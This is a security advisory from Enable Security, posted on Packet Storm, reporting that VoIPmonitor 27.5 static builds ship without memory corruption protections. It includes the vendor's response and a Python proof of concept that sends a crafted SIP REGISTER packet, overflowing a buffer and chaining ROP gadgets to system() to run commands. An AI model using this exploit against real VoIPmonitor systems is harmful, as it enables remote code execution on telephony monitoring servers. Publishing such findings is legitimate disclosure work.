what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

VoIPmonitor 27.5 Missing Memory Protections

VoIPmonitor 27.5 Missing Memory Protections
Posted Mar 15, 2021
Authored by Sandro Gauci | Site enablesecurity.com

Static binaries provided for VoIPmonitor version2 7.5 are built without any memory corruption protection in place.

tags | exploit
SHA-256 | 53af2b715bcd85faf66b4d8deafd9d7676f2c8e34de79dd80c738b81bc0fb6da

VoIPmonitor 27.5 Missing Memory Protections

Change Mirror Download
# VoIPmonitor static builds are compiled without any standard memory corruption protection

- Fixed versions: N/A
- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-04-voipmonitor-staticbuild-memory-corruption-protection
- VoIPmonitor Security Advisory: none
- Tested vulnerable versions: 27.5
- Timeline:
- Report date: 2021-02-10 & 2021-02-13
- Enable Security advisory: 2021-03-15

## Description

The binaries available for download at <https://www.voipmonitor.org/download> are built without any memory corruption protection in place. The following is output from the tool `hardening-check`:

hardening-check voipmonitor:
Position Independent Executable: no, normal executable!
Stack protected: no, not found!
Fortify Source functions: unknown, no protectable libc functions used
Read-only relocations: no, not found!
Immediate binding: no, not found!
Stack clash protection: unknown, no -fstack-clash-protection instructions found
Control flow integrity: unknown, no -fcf-protection instructions found!

When stack protection together with Fortify Source and other protection mechanisms are in place, exploitation of memory corruption vulnerabilities normally results in a program crash instead of leading to remote code execution. Most modern compilation systems create executable binaries with these features built-in by default. When these features are not used, attackers may easily exploit memory corruption vulnerabilities, such as buffer overflows, to run arbitrary code. In this advisory we will demonstrate how a buffer overflow reported in a separate advisory, could be abused to run arbitrary code because of the lack of standard memory corruption protection in the static build releases of VoIPmonitor.

The vendor has explained that:

> we are not going to enable the protection in the static builds as the speed is critical on many installations

> Our static build also uses tcmalloc (recommended version) which is required for high packet/second processing as the libc allocator is not fast enough especially on NUMA systems. For high packet/second traffic FORTIFY_SOURCE can introduce a lot of additional CPU cycles. If using custom builds with FORTIFY_SOURCE - they should compare if the sniffer did not introduced higher CPU usage.

While we understand the vendor's position, we are issuing an advisory to ensure that end users can make informed risk-based decisions.

## Impact

The lack of standard memory corruption protection mechanisms means that such vulnerabilities may lead to remote code execution.

## How to reproduce the issue

1. Execute the static build of VoIPmonitor (such as https://www.voipmonitor.org/current-stable-sniffer-static-64bit.tar.gz)
2. Start the live sniffer from the VOIPMonitor GUI or via the manager on port 5029
3. Execute the following Python program so that VOIPMonitor is able to capture the packet
4. Observe the payload being executed by the `voipmonitor` process, i.e. the following:
- current user is printed due to execution of the `whoami` command
- `h4x0r was here` is also printed
- a file has been created in `/tmp/woot`

import struct
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Pad with As
payload = b'A' * 703

# Write system payload
cmd=b'whoami;echo "h4x0r was here";touch /tmp/woot\x00'

# Pad some more so that we can overwrite the save_packet_sql's function return address
payload += b'A' * payload_size

# Call a ROP gadged that increments the value of the RDI register,
# which will now point to the value set by cmd
payload += struct.pack('<Q', 0x0000000000b222f1)

# Return to system() to execute the value in RDI
payload += struct.pack('<Q', 0xb22fd0)

# Return to exit() to exit gracefully
payload += struct.pack('<Q', 0xf60a20)

msg=b'REGISTER %s SIP/2.0\r\n' % (payload)
msg+=b'Via: SIP/2.0/UDP;rport;branch=z9hG4bK-kwtTkrdNAO2Wvw0v\r\n'
msg+=b'Max-Forwards: 70\r\n'
msg+=b'From: <sip:85861710@demo.sipvicious.pro>;tag=mnq1nKGNZHNUkNOG\r\n'
msg+=b'To: <sip:85861710@demo.sipvicious.pro>\r\n'
msg+=b'Call-ID: 93X9dNZO2qdcfpdu\r\n'
msg+=b'CSeq: 1 REGISTER\r\n'
msg+=b'Contact: <sip:85861710@;transport=udp>\r\n'
msg+=b'Expires: 60\r\n'
msg+=b'Content-Length: 0\r\n'
s.sendto(msg, ('', 5060))


## Solution and recommendations

Users who would like to have standard memory corruption protection for VoIPmonitor should compile the binaries themselves and apply their own upgrades rather than using the upgrade feature from the VoIPmonitor GUI / sensors page.

We recommended the following to the vendor:

> Our recommendation is that standard memory corruption protection be switched on by default in the official binary build of VoIPmonitor. If there are specific requirements for specific systems that require such features to be switched off, then additional binaries should be offered, with adequate documentation of the risks involved.

> Do note that memory corruption vulnerabilities should also be addressed and fixed even if security features, such as Fortify, are used.

## Acknowledgements

Enable Security would like to thank Martin Vit and the developers at VoIPmonitor for the very quick responses and explanations with regards to this security issue.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

## Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.


Sandro Gauci, CEO at Enable Security GmbH

Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Neuburger Stra├če 101 b, 94036 Passau, Germany
PGP/Encrypted comms: https://keybase.io/sandrogauci
Our blog: https://www.rtcsec.com
Other points of contact: https://enablesecurity.com/#contact-us

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By